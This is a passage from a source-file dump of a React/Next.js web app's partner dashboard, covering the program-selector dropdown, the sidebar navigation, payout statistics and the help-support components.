pathname = usePathname();\n  const searchParams = useSearchParams();\n  const searchParamsString = searchParams.toString();\n\n  const href = useCallback(\n    (slug: string) =>\n      selectedProgram\n        ? `${pathname.replace(selectedProgram.slug, slug)}${searchParamsString.length > 0 ? `?${searchParamsString}` : \"\"}`\n        : `/programs/${slug}`,\n    [pathname, selectedProgram],\n  );\n\n  return (\n    <Command defaultValue={selectedProgram?.name} loop>\n      <div>\n        <label className=\"flex w-full items-center border-b border-neutral-200 pl-3.5\">\n          <span className=\"sr-only\">Search</span>\n          <Magnifier className=\"size-[1.125rem] text-neutral-500\" />\n          <Command.Input\n            className=\"placeholder:text-content-subtle h-12 w-full border-0 bg-transparent px-2.5 text-base focus:outline-none focus:ring-0 sm:text-sm\"\n            placeholder=\"Find program...\"\n          />\n        </label>\n        <ScrollContainer className=\"max-h-[min(260px,calc(100vh-300px))]\">\n          <div className=\"p-2\">\n            <div className=\"flex items-center justify-between py-2\">\n              <p className=\"px-1 text-sm font-medium text-neutral-500 sm:text-xs\">\n                Programs\n              </p>\n            </div>\n            <AnimatedSizeContainer\n              height\n              className=\"rounded-[inherit]\"\n              style={{ transform: \"translateZ(0)\" }} // Fixes overflow on some browsers\n            >\n              <div className=\"flex flex-col gap-0.5\">\n                <Command.List>\n                  {programs.map(({ id, slug, name, logo }) => (\n                    <Command.Item\n                      key={slug}\n                      asChild\n                      value={name}\n                      onSelect={() => {\n                        router.push(href(slug));\n                        setOpenPopover(false);\n                      }}\n                    >\n                      <Link\n                        key={slug}\n                        className={cn(\n                          \"relative flex w-full items-center gap-x-2.5 rounded-md py-2.5 pl-2 pr-3 transition-all duration-75\",\n                          \"active:bg-neutral-200/80 data-[selected=true]:bg-neutral-200/50\",\n                          \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n                        )}\n                        href={href(slug)}\n                        shallow={false}\n                        onClick={() => setOpenPopover(false)}\n                        tabIndex={-1}\n                      >\n                        <BlurImage\n                          src={logo || `https://avatar.vercel.sh/${id}`}\n                          width={40}\n                          height={40}\n                          alt={name}\n                          className=\"size-5 shrink-0 overflow-hidden rounded-full border border-black/10\"\n                        />\n                        <span className=\"block min-w-0 grow truncate text-base leading-5 text-neutral-800 sm:text-sm\">\n                          {name}\n                        </span>\n                        {selectedProgram?.slug === slug ? (\n                          <Check2\n                            className=\"size-4 shrink-0 text-neutral-600\"\n                            aria-hidden=\"true\"\n                          />\n                        ) : null}\n                      </Link>\n                    </Command.Item>\n                  ))}\n                  <Command.Empty className=\"p-1 text-sm text-neutral-400\">\n                    No programs found\n                  </Command.Empty>\n                </Command.List>\n              </div>\n            </AnimatedSizeContainer>\n          </div>\n        </ScrollContainer>\n      </div>\n    </Command>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/partners-sidebar-nav.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { usePartnerProgramBounties } from \"@/lib/swr/use-partner-program-bounties\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport useProgramEnrollmentsCount from \"@/lib/swr/use-program-enrollments-count\";\nimport { useProgramMessagesCount } from \"@/lib/swr/use-program-messages-count\";\nimport { ProgramsPromoCard } from \"@/ui/partners/program-marketplace/programs-promo-card\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport {\n  Bell,\n  CircleDollar,\n  ColorPalette2,\n  Gauge6,\n  Gear2,\n  GridIcon,\n  MoneyBills2,\n  Msgs,\n  ShieldCheck,\n  Shop,\n  SquareUserSparkle2,\n  Trophy,\n  UserCheck,\n  Users2,\n  Webhook,\n} from \"@dub/ui/icons\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { ReactNode, useMemo } from \"react\";\nimport { CursorRays } from \"./icons/cursor-rays\";\nimport { Hyperlink } from \"./icons/hyperlink\";\nimport { LinesY } from \"./icons/lines-y\";\nimport { User } from \"./icons/user\";\nimport { PartnerProgramDropdown } from \"./partner-program-dropdown\";\nimport { PayoutStats } from \"./payout-stats\";\nimport { ProgramHelpSupport } from \"./program-help-support\";\nimport { SidebarNav, SidebarNavAreas, SidebarNavGroups } from \"./sidebar-nav\";\n\ntype SidebarNavData = {\n  pathname: string;\n  queryString?: string;\n  programSlug?: string;\n  isUnapproved: boolean;\n  invitationsCount?: number;\n  unreadMessagesCount?: number;\n  programBountiesCount?: number;\n  showDetailedAnalytics?: boolean;\n  postbacksEnabled?: boolean;\n};\n\nconst NAV_GROUPS: SidebarNavGroups<SidebarNavData> = ({\n  pathname,\n  unreadMessagesCount,\n}) => [\n  {\n    name: \"Programs\",\n    description:\n      \"View all your enrolled programs and review invitations to other programs.\",\n    icon: GridIcon,\n    href: \"/programs\",\n    active: pathname.startsWith(\"/programs\"),\n  },\n  {\n    name: \"Payouts\",\n    description:\n      \"View all your upcoming and previous payouts for all your programs.\",\n    icon: MoneyBills2,\n    href: \"/payouts\",\n    active: pathname.startsWith(\"/payouts\"),\n  },\n  {\n    name: \"Partner profile\",\n    description:\n      \"Build a great partner profile and get noticed in our partner network.\",\n    icon: SquareUserSparkle2,\n    href: \"/profile\",\n    active: pathname.startsWith(\"/profile\"),\n  },\n  {\n    name: \"Messages\",\n    description: \"Chat with programs you're enrolled in\",\n    icon: Msgs,\n    href: \"/messages\",\n    active: pathname.startsWith(\"/messages\"),\n    badge: unreadMessagesCount ? Math.min(9, unreadMessagesCount) : undefined,\n  },\n];\n\nconst NAV_AREAS: SidebarNavAreas<SidebarNavData> = {\n  // Top-level\n  programs: ({ invitationsCount }) => ({\n    title: (\n      <div className=\"mb-3\">\n        <PartnerProgramDropdown />\n      </div>\n    ),\n    showNews: true,\n    direction: \"left\",\n    content: [\n      {\n        items: [\n          {\n            name: \"Programs\",\n            icon: GridIcon,\n            href: \"/programs\",\n            isActive: (pathname, href) =>\n              pathname.startsWith(href) &&\n              [\"invitations\", \"marketplace\"].every(\n                (k) => !pathname.startsWith(`${href}/${k}`),\n              ),\n          },\n          {\n            name: \"Marketplace\",\n            icon: Shop,\n            href: \"/programs/marketplace\" as `/${string}`,\n            badge: \"New\",\n          },\n          {\n            name: \"Invitations\",\n            icon: UserCheck,\n            href: \"/programs/invitations\",\n            badge: invitationsCount || undefined,\n          },\n        ],\n      },\n    ],\n  }),\n\n  profile: ({ postbacksEnabled }) => ({\n    title: \"Partner profile\",\n    direction: \"left\",\n    content: [\n      {\n        items: [\n          {\n            name: \"Profile\",\n            icon: SquareUserSparkle2,\n            href: \"/profile\",\n            exact: true,\n          },\n          {\n            name: \"Members\",\n            icon: Users2,\n            href: \"/profile/members\",\n          },\n        ],\n      },\n      ...(postbacksEnabled\n        ? [\n            {\n              name: \"Developer\",\n              items: [\n                {\n                  name: \"Postbacks\",\n                  icon: Webhook,\n                  href: \"/profile/postbacks\" as `/${string}`,\n                },\n              ],\n            },\n          ]\n        : []),\n      {\n        name: \"Account\",\n        items: [\n          {\n            name: \"Notifications\",\n            icon: Bell,\n            href: \"/profile/notifications\",\n          },\n        ],\n      },\n    ],\n  }),\n\n  program: ({\n    programSlug,\n    isUnapproved,\n    queryString,\n    programBountiesCount,\n    showDetailedAnalytics,\n  }) => ({\n    title: (\n      <div className=\"mb-3\">\n        <PartnerProgramDropdown />\n      </div>\n    ),\n    content: [\n      {\n        items: [\n          {\n            name: isUnapproved ? \"Application\" : \"Overview\",\n            icon: isUnapproved ? UserCheck : Gauge6,\n            href: `/programs/${programSlug}`,\n            exact: true,\n          },\n          {\n            name: \"Links\",\n            icon: Hyperlink,\n            href: `/programs/${programSlug}/links`,\n            locked: isUnapproved,\n          },\n          {\n            name: \"Messages\",\n            icon: Msgs,\n            href: `/messages/${programSlug}` as `/${string}`,\n            locked: isUnapproved,\n            arrow: true,\n          },\n        ],\n      },\n      {\n        name: \"Insights\",\n        items: [\n          {\n            name: \"Earnings\",\n            icon: CircleDollar,\n            href: `/programs/${programSlug}/earnings${queryString}`,\n            locked: isUnapproved,\n          },\n          ...(showDetailedAnalytics\n            ? [\n                {\n                  name: \"Analytics\",\n                  icon: LinesY,\n                  href: `/programs/${programSlug}/analytics` as `/${string}`,\n                  locked: isUnapproved,\n                },\n                {\n                  name: \"Events\",\n                  icon: CursorRays,\n                  href: `/programs/${programSlug}/events` as `/${string}`,\n                  locked: isUnapproved,\n                },\n                {\n                  name: \"Customers\",\n                  icon: User,\n                  href: `/programs/${programSlug}/customers` as `/${string}`,\n                  locked: isUnapproved,\n                },\n              ]\n            : []),\n        ],\n      },\n      {\n        name: \"Engage\",\n        items: [\n          {\n            name: \"Bounties\",\n            icon: Trophy,\n            href: `/programs/${programSlug}/bounties` as `/${string}`,\n            badge:\n              programBountiesCount && programBountiesCount > 99\n                ? \"99+\"\n                : programBountiesCount || undefined,\n            locked: isUnapproved,\n          },\n          {\n            name: \"Resources\",\n            icon: ColorPalette2,\n            href: `/programs/${programSlug}/resources`,\n            locked: isUnapproved,\n          },\n        ],\n      },\n    ],\n  }),\n\n  // User settings\n  userSettings: () => ({\n    title: \"Settings\",\n    backHref: \"/programs\",\n    content: [\n      {\n        name: \"Account\",\n        items: [\n          {\n            name: \"General\",\n            icon: Gear2,\n            href: \"/account/settings\",\n            exact: true,\n          },\n          {\n            name: \"Security\",\n            icon: ShieldCheck,\n            href: \"/account/settings/security\",\n          },\n        ],\n      },\n    ],\n  }),\n};\n\nexport function PartnersSidebarNav({\n  toolContent,\n  newsContent,\n}: {\n  toolContent?: ReactNode;\n  newsContent?: ReactNode;\n}) {\n  const { programSlug } = useParams() as {\n    programSlug?: string;\n  };\n  const pathname = usePathname();\n  const { getQueryString } = useRouterStuff();\n\n  const isEnrolledProgramPage =\n    pathname.startsWith(`/programs/${programSlug}`) &&\n    ![\"/apply\", \"/invite\"].some((p) => pathname.endsWith(p));\n\n  const { programEnrollment, showDetailedAnalytics } = useProgramEnrollment({\n    enabled: isEnrolledProgramPage,\n  });\n\n  const currentArea = useMemo(() => {\n    return pathname.startsWith(\"/account/settings\")\n      ? \"userSettings\"\n      : pathname.startsWith(\"/profile\")\n        ? \"profile\"\n        : [\"/payouts\", \"/messages\"].some((p) => pathname.startsWith(p))\n          ? null\n          : isEnrolledProgramPage\n            ? \"program\"\n            : \"programs\";\n  }, [pathname, programSlug, isEnrolledProgramPage]);\n\n  const { count: invitationsCount } = useProgramEnrollmentsCount({\n    status: \"invited\",\n  });\n\n  const isUnapproved = useMemo(\n    () =>\n      !!programEnrollment &&\n      ![\"approved\", \"deactivated\", \"archived\"].includes(\n        programEnrollment.status,\n      ),\n    [programEnrollment],\n  );\n\n  const { bountiesCount } = usePartnerProgramBounties({\n    enabled:\n      isEnrolledProgramPage && programEnrollment && !isUnapproved\n        ? true\n        : false,\n  });\n\n  const { count: unreadMessagesCount } = useProgramMessagesCount({\n    enabled: true,\n    query: {\n      unread: true,\n    },\n  });\n\n  const { partner } = usePartnerProfile();\n\n  return (\n    <SidebarNav\n      groups={NAV_GROUPS}\n      areas={NAV_AREAS}\n      currentArea={currentArea}\n      data={{\n        pathname,\n        queryString: getQueryString(),\n        programSlug: programSlug || \"\",\n        isUnapproved,\n        invitationsCount,\n        unreadMessagesCount,\n        programBountiesCount: bountiesCount.active,\n        showDetailedAnalytics,\n        postbacksEnabled: partner?.featureFlags?.postbacks,\n      }}\n      toolContent={toolContent}\n      newsContent={newsContent}\n      bottom={\n        isEnrolledProgramPage ? (\n          <ProgramHelpSupport />\n        ) : (\n          <>\n            <ProgramsPromoCard />\n            <PayoutStats />\n          </>\n        )\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/payout-stats.tsx",
    "content": "\"use client\";\n\nimport usePartnerPayoutsCount from \"@/lib/swr/use-partner-payouts-count\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PayoutsCount } from \"@/lib/types\";\nimport { ConnectPayoutButton } from \"@/ui/partners/payouts/connect-payout-button\";\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  ChevronRight,\n  MoneyBills2,\n  Tooltip,\n} from \"@dub/ui\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { memo } from \"react\";\n\nexport const PayoutStats = memo(() => {\n  const { partner } = usePartnerProfile();\n\n  const { payoutsCount } = usePartnerPayoutsCount<PayoutsCount[]>({\n    groupBy: \"status\",\n  });\n\n  return (\n    <AnimatedSizeContainer height>\n      <div className=\"border-border-subtle grid gap-3 border-t p-3\">\n        <Link\n          className=\"group flex items-center justify-between gap-2\"\n          href=\"/payouts\"\n        >\n          <div className=\"text-content-default flex items-center gap-2 text-sm font-semibold\">\n            <MoneyBills2 className=\"size-4\" />\n            Payouts\n          </div>\n          <ChevronRight className=\"text-content-muted group-hover:text-content-default size-3 transition-[color,transform] group-hover:translate-x-0.5 [&_*]:stroke-2\" />\n        </Link>\n\n        <div className=\"flex flex-col gap-4\">\n          <div className=\"grid gap-1 text-xs\">\n            <p className=\"text-content-subtle font-medium\">Upcoming payouts</p>\n            <div className=\"flex items-center gap-1\">\n              {partner && !partner.payoutsEnabledAt && (\n                <Tooltip\n                  content=\"You need to connect your payout account to be able to receive payouts from the programs you are enrolled in. [Learn more](https://dub.co/help/article/receiving-payouts)\"\n                  side=\"right\"\n                >\n                  <div>\n                    <AlertCircleFill className=\"text-content-default size-3\" />\n                  </div>\n                </Tooltip>\n              )}\n              {payoutsCount ? (\n                <p className=\"text-content-default font-medium\">\n                  {currencyFormatter(\n                    payoutsCount\n                      ?.filter(\n                        (payout) =>\n                          payout.status === PayoutStatus.pending ||\n                          payout.status === PayoutStatus.processing,\n                      )\n                      ?.reduce((acc, p) => acc + p.amount, 0) || 0,\n                  )}\n                </p>\n              ) : (\n                <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n          <div className=\"grid gap-1 text-xs\">\n            <p className=\"text-content-subtle font-medium\">Received payouts</p>\n            {payoutsCount ? (\n              <p className=\"text-content-default font-medium\">\n                {currencyFormatter(\n                  payoutsCount\n                    ?.filter(\n                      (payout) =>\n                        payout.status === PayoutStatus.processed ||\n                        payout.status === PayoutStatus.sent ||\n                        payout.status === PayoutStatus.completed,\n                    )\n                    ?.reduce((acc, p) => acc + p.amount, 0) ?? 0,\n                )}\n              </p>\n            ) : (\n              <div className=\"h-5 w-24 animate-pulse rounded-md bg-neutral-200\" />\n            )}\n          </div>\n        </div>\n        {partner && !partner.payoutsEnabledAt && (\n          <ConnectPayoutButton className=\"mt-4 h-8 w-full\" />\n        )}\n      </div>\n    </AnimatedSizeContainer>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/program-help-support.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { ProgramHelpLinks } from \"@/ui/partners/program-help-links\";\nimport { memo } from \"react\";\n\nexport const ProgramHelpSupport = memo(() => {\n  const { programEnrollment } = useProgramEnrollment();\n\n  if (!programEnrollment?.program) return null;\n\n  const { program } = programEnrollment;\n\n  if (!program.supportEmail && !program.helpUrl && !program.termsUrl)\n    return null;\n\n  return (\n    <div className=\"border-border-default grid gap-2 border-t p-3\">\n      <div className=\"text-content-default px-2 text-sm font-semibold\">\n        {program.name.length <= 12 ? `${program.name} ` : \"\"}\n        Program Support\n      </div>\n      <ProgramHelpLinks />\n    </div>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/refer-button.tsx",
    "content": "\"use client\";\n\nimport { useLocalStorage, useMediaQuery } from \"@dub/ui\";\nimport { Gift } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils/src\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { AffiliateProgramPopup } from \"./affiliate-program-popup\";\n\nexport function ReferButton({\n  affiliatePopupEnabled = false,\n}: {\n  affiliatePopupEnabled?: boolean;\n}) {\n  const { width } = useMediaQuery();\n  const [linkRef, setLinkRef] = useState<HTMLAnchorElement | null>(null);\n\n  return (\n    <>\n      <Link\n        ref={affiliatePopupEnabled ? setLinkRef : undefined}\n        href=\"/account/settings/referrals\"\n        className={cn(\n          \"animate-fade-in hover:bg-bg-inverted/5 active:bg-bg-inverted/10 flex size-11 shrink-0 items-center justify-center rounded-lg transition-colors duration-150\",\n          \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n        )}\n      >\n        <Gift className=\"text-content-default size-5\" />\n      </Link>\n      {affiliatePopupEnabled && width && width >= 768 && (\n        <AffiliateProgramPopupWrapper referenceElement={linkRef} />\n      )}\n    </>\n  );\n}\n\nfunction AffiliateProgramPopupWrapper({\n  referenceElement,\n}: {\n  referenceElement: HTMLAnchorElement | null;\n}) {\n  const router = useRouter();\n\n  const [show, setShow] = useLocalStorage(`show-affiliate-program-popup`, true);\n\n  if (!show) return null;\n\n  return (\n    <AffiliateProgramPopup\n      referenceElement={referenceElement}\n      onCTA={() => {\n        setShow(false);\n        router.push(\"/account/settings/referrals\");\n      }}\n      onDismiss={() => setShow(false)}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/sidebar-nav.tsx",
    "content": "import {\n  AnimatedSizeContainer,\n  ArrowUpRight2,\n  BookOpen,\n  ChevronLeft,\n  ClientOnly,\n  Icon,\n  Lock,\n  NavWordmark,\n  Tooltip,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport {\n  ComponentType,\n  CSSProperties,\n  PropsWithChildren,\n  ReactNode,\n  Suspense,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { UserDropdown } from \"./user-dropdown\";\n\nexport type NavItemCommon = {\n  name: string;\n  href: `/${string}`;\n  exact?: boolean;\n  isActive?: (pathname: string, href: string) => boolean;\n  badge?: ReactNode;\n  arrow?: boolean;\n  locked?: boolean;\n};\n\nexport type NavSubItemType = NavItemCommon;\n\nexport type NavItemType = NavItemCommon & {\n  icon: Icon;\n  items?: NavSubItemType[];\n};\n\nexport type NavGroupType = {\n  name: string;\n  icon: Icon;\n  href: string;\n  active: boolean;\n  onClick?: () => void;\n  popup?: ComponentType<{\n    referenceElement: HTMLElement | null;\n  }>;\n  badge?: ReactNode;\n\n  description: string;\n  learnMoreHref?: string;\n};\n\nexport type SidebarNavGroups<T extends Record<any, any>> = (\n  args: T,\n) => NavGroupType[];\n\nexport type SidebarNavAreas<T extends Record<any, any>> = Record<\n  string,\n  (args: T) => {\n    title?: string | ReactNode;\n    backHref?: string;\n    showNews?: boolean; // show news segment – TODO: enable this for Partner Program too\n    hideSwitcherIcons?: boolean; // hide workspace switcher + product icons for this area\n    direction?: \"left\" | \"right\";\n    content: {\n      name?: string;\n      items: NavItemType[];\n    }[];\n  }\n>;\n\nconst SIDEBAR_WIDTH = 304;\nconst SIDEBAR_GROUPS_WIDTH = 64;\nconst SIDEBAR_AREAS_WIDTH = SIDEBAR_WIDTH - SIDEBAR_GROUPS_WIDTH;\n\nexport function SidebarNav<T extends Record<any, any>>({\n  groups,\n  areas,\n  currentArea,\n  data,\n  toolContent,\n  newsContent,\n  switcher,\n  bottom,\n}: {\n  groups: SidebarNavGroups<T>;\n  areas: SidebarNavAreas<T>;\n  currentArea: string | null;\n  data: T;\n  toolContent?: ReactNode;\n  newsContent?: ReactNode;\n  switcher?: ReactNode;\n  bottom?: ReactNode;\n}) {\n  return (\n    <div\n      className={cn(\n        \"h-full w-[var(--sidebar-width)] transition-[width] duration-300\",\n      )}\n      style={\n        {\n          \"--sidebar-width\": `${currentArea === null ? SIDEBAR_GROUPS_WIDTH : SIDEBAR_WIDTH}px`,\n          \"--sidebar-groups-width\": `${SIDEBAR_GROUPS_WIDTH}px`,\n          \"--sidebar-areas-width\": `${SIDEBAR_AREAS_WIDTH}px`,\n        } as CSSProperties\n      }\n    >\n      <ClientOnly className=\"size-full\">\n        <nav className=\"grid size-full grid-cols-[var(--sidebar-groups-width)_1fr]\">\n          <div className=\"flex flex-col items-center justify-between\">\n            <div className=\"flex flex-col items-center p-2\">\n              <div className=\"pb-1 pt-2\">\n                <Link\n                  href=\"/\"\n                  className=\"block overflow-visible rounded-lg px-1 py-4 outline-none transition-opacity focus-visible:ring-2 focus-visible:ring-black/50\"\n                >\n                  <NavWordmark className=\"h-5 overflow-visible\" isInApp />\n                </Link>\n              </div>\n              {(!currentArea ||\n                !areas[currentArea](data).hideSwitcherIcons) && (\n                <div className=\"flex flex-col gap-3\">\n                  {switcher}\n                  {groups(data).map((group) => (\n                    <NavGroupItem key={group.name} group={group} />\n                  ))}\n                </div>\n              )}\n            </div>\n            <div className=\"flex flex-col items-center gap-3 py-3\">\n              <Suspense fallback={null}>{toolContent}</Suspense>\n              <div className=\"flex size-12 items-center justify-center\">\n                <UserDropdown />\n              </div>\n            </div>\n          </div>\n          <div\n            className={cn(\n              \"size-full overflow-hidden py-2 pr-2 transition-opacity duration-300\",\n              currentArea === null && \"opacity-0\",\n            )}\n          >\n            <SidebarAreasPanel\n              areas={areas}\n              data={data}\n              currentArea={currentArea}\n              newsContent={newsContent}\n              bottom={bottom}\n            />\n          </div>\n        </nav>\n      </ClientOnly>\n    </div>\n  );\n}\n\nfunction SidebarAreasPanel<T extends Record<any, any>>({\n  areas,\n  data,\n  currentArea,\n  newsContent,\n  bottom,\n}: {\n  areas: SidebarNavAreas<T>;\n  data: T;\n  currentArea: string | null;\n  newsContent?: ReactNode;\n  bottom?: ReactNode;\n}) {\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n  const showNews = currentArea && areas[currentArea]?.(data).showNews;\n\n  const hasOverflow = useMemo(() => {\n    if (!currentArea) return false;\n    const { content } = areas[currentArea](data);\n    const totalItems = content.flatMap((c) => c.items).length;\n    return totalItems > 10;\n  }, [currentArea, areas, data]);\n\n  return (\n    <div className=\"flex h-full w-[calc(var(--sidebar-areas-width)-0.5rem)] flex-col rounded-xl bg-neutral-100\">\n      {/* Scrollable content with gradient overlay */}\n      <div className=\"relative min-h-0 flex-1 overflow-hidden\">\n        <div\n          ref={scrollRef}\n          onScroll={updateScrollProgress}\n          className={cn(\n            \"scrollbar-hide h-full overflow-x-hidden rounded-xl\",\n            hasOverflow ? \"overflow-y-auto\" : \"overflow-hidden\",\n          )}\n        >\n          <div className=\"relative flex flex-col p-3 text-neutral-500\">\n            <div className=\"relative w-full grow\">\n              {Object.entries(areas).map(([area, areaConfig]) => {\n                const { title, backHref, content, direction } =\n                  areaConfig(data);\n\n                const TitleContainer = backHref ? Link : \"div\";\n\n                return (\n                  <Area\n                    key={area}\n                    visible={area === currentArea}\n                    direction={direction ?? \"right\"}\n                  >\n                    {title &&\n                      (typeof title === \"string\" ? (\n                        <TitleContainer\n                          href={backHref ?? \"#\"}\n                          className=\"group mb-2 flex items-center gap-3 px-3 py-2\"\n                        >\n                          {backHref && (\n                            <div\n                              className={cn(\n                                \"text-content-muted bg-bg-emphasis flex size-6 items-center justify-center rounded-lg\",\n                                \"group-hover:bg-bg-inverted/10 group-hover:text-content-subtle transition-[transform,background-color,color] duration-150 group-hover:-translate-x-0.5\",\n                              )}\n                            >\n                              <ChevronLeft className=\"size-3 [&_*]:stroke-2\" />\n                            </div>\n                          )}\n                          <span className=\"text-content-emphasis text-lg font-semibold\">\n                            {title}\n                          </span>\n                        </TitleContainer>\n                      ) : (\n                        title\n                      ))}\n                    <div className=\"flex flex-col gap-8\">\n                      {content.map(({ name, items }, idx) => (\n                        <div key={idx} className=\"flex flex-col gap-0.5\">\n                          {name && (\n                            <div className=\"mb-2 pl-3 text-sm text-neutral-500\">\n                              {name}\n                            </div>\n                          )}\n                          {items.map((item) => (\n                            <NavItem key={item.name} item={item} />\n                          ))}\n                        </div>\n                      ))}\n                    </div>\n                  </Area>\n                );\n              })}\n            </div>\n          </div>\n        </div>\n        {/* Bottom scroll fade - shows when content overflows */}\n        {hasOverflow && (\n          <div\n            className=\"pointer-events-none absolute bottom-0 left-0 z-10 h-16 w-full rounded-b-lg bg-gradient-to-t from-neutral-100 to-transparent\"\n            style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n          />\n        )}\n      </div>\n\n      {/* Fixed bottom sections - always visible */}\n      <div className=\"flex flex-shrink-0 flex-col gap-2 rounded-b-xl\">\n        {data.showConversionGuides && (\n          <div className=\"px-3 pb-2\">\n            <Link\n              href={`/${data.slug}/settings/tracking`}\n              className=\"flex items-center gap-2 rounded-lg bg-neutral-200/75 px-2.5 py-2 text-xs text-neutral-700 transition-colors hover:bg-neutral-200\"\n            >\n              <BookOpen className=\"size-4\" />\n              Set up conversion tracking\n            </Link>\n          </div>\n        )}\n\n        <AnimatePresence>\n          {showNews && (\n            <motion.div\n              initial={{ opacity: 0, y: 10 }}\n              animate={{ opacity: 1, y: 0 }}\n              exit={{ opacity: 0, y: 10 }}\n              transition={{\n                duration: 0.1,\n                ease: \"easeInOut\",\n              }}\n            >\n              {newsContent}\n            </motion.div>\n          )}\n        </AnimatePresence>\n\n        {bottom && <div className=\"flex flex-col\">{bottom}</div>}\n      </div>\n    </div>\n  );\n}\n\nexport function NavGroupTooltip({\n  name,\n  description,\n  learnMoreHref,\n  disabled,\n  children,\n}: PropsWithChildren<{\n  name: string;\n  description?: string;\n  learnMoreHref?: string;\n  disabled?: boolean;\n}>) {\n  return (\n    <Tooltip\n      side=\"right\"\n      delayDuration={100}\n      disabled={disabled}\n      className=\"rounded-lg bg-black px-3 py-1.5 text-sm font-medium text-white\"\n      content={\n        <div>\n          <span>{name}</span>\n          {description && (\n            <motion.div\n              initial={{ opacity: 0, width: 0, height: 0 }}\n              animate={{ opacity: 1, width: \"auto\", height: \"auto\" }}\n              transition={{ delay: 0.5, duration: 0.25, type: \"spring\" }}\n              className=\"overflow-hidden\"\n            >\n              <div className=\"w-44 py-1 text-xs tracking-tight\">\n                <p className=\"text-content-muted\">{description}</p>\n                {learnMoreHref && (\n                  <div className=\"mt-2.5\">\n                    <Link\n                      href={learnMoreHref}\n                      target=\"_blank\"\n                      className=\"font-semibold text-white underline\"\n                    >\n                      Learn more\n                    </Link>\n                  </div>\n                )}\n              </div>\n            </motion.div>\n          )}\n        </div>\n      }\n    >\n      {children}\n    </Tooltip>\n  );\n}\n\nfunction NavGroupItem({\n  group: {\n    name,\n    description,\n    learnMoreHref,\n    icon: Icon,\n    href,\n    active,\n    badge,\n    onClick,\n    popup: Popup,\n  },\n}: {\n  group: NavGroupType;\n}) {\n  const [element, setElement] = useState<HTMLAnchorElement | null>(null);\n  const [hovered, setHovered] = useState(false);\n\n  return (\n    <>\n      <NavGroupTooltip\n        name={name}\n        description={description}\n        learnMoreHref={learnMoreHref}\n      >\n        <div>\n          <Link\n            ref={Popup ? setElement : undefined}\n            href={href}\n            onPointerEnter={() => setHovered(true)}\n            onPointerLeave={() => setHovered(false)}\n            onClick={onClick}\n            className={cn(\n              \"relative flex size-11 items-center justify-center rounded-lg transition-colors duration-150\",\n              \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n              active\n                ? \"bg-white\"\n                : \"hover:bg-bg-inverted/5 active:bg-bg-inverted/10\",\n            )}\n          >\n            <Icon\n              className=\"text-content-default size-5\"\n              data-hovered={hovered}\n            />\n            {badge && (\n              <div className=\"absolute right-0.5 top-0.5 flex size-3.5 items-center justify-center rounded-full bg-blue-600 text-[0.625rem] font-semibold text-white\">\n                {badge}\n              </div>\n            )}\n          </Link>\n        </div>\n      </NavGroupTooltip>\n      {Popup && element && <Popup referenceElement={element} />}\n    </>\n  );\n}\n\nfunction NavItem({ item }: { item: NavItemType | NavSubItemType }) {\n  const { name, href, exact, isActive: customIsActive, locked } = item;\n\n  const Icon = \"icon\" in item ? item.icon : undefined;\n  const items = \"items\" in item ? item.items : undefined;\n\n  const [hovered, setHovered] = useState(false);\n\n  const pathname = usePathname();\n\n  const isActive = useMemo(() => {\n    if (customIsActive) {\n      return customIsActive(pathname, href);\n    }\n\n    const hrefWithoutQuery = href.split(\"?\")[0];\n    return exact\n      ? pathname === hrefWithoutQuery\n      : pathname.startsWith(hrefWithoutQuery);\n  }, [pathname, href, exact, customIsActive]);\n\n  return (\n    <div>\n      <Link\n        href={locked ? \"#\" : href}\n        data-active={isActive}\n        onPointerEnter={() => !locked && setHovered(true)}\n        onPointerLeave={() => !locked && setHovered(false)}\n        className={cn(\n          \"text-content-default group flex h-8 items-center justify-between rounded-lg p-2 text-sm leading-none transition-[background-color,color,font-weight] duration-75\",\n          \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n          isActive && !items\n            ? \"bg-blue-100/50 font-medium text-blue-600 hover:bg-blue-100/80 active:bg-blue-100\"\n            : locked\n              ? \"cursor-not-allowed opacity-75\"\n              : \"hover:bg-bg-inverted/5 active:bg-bg-inverted/10\",\n        )}\n        aria-disabled={locked}\n      >\n        <span className=\"flex items-center gap-2.5\">\n          {locked ? (\n            <Lock className=\"size-4\" />\n          ) : (\n            Icon && (\n              <Icon\n                className={cn(\n                  \"size-4\",\n                  !items && \"group-data-[active=true]:text-blue-600\",\n                )}\n                data-hovered={hovered}\n              />\n            )\n          )}\n          {name}\n        </span>\n        <span className=\"ml-2 flex items-center gap-2\">\n          {\"badge\" in item && item.badge && (\n            <span\n              className={cn(\n                \"flex items-center justify-center rounded px-1.5 py-0.5 text-xs font-semibold\",\n                isActive && !items\n                  ? 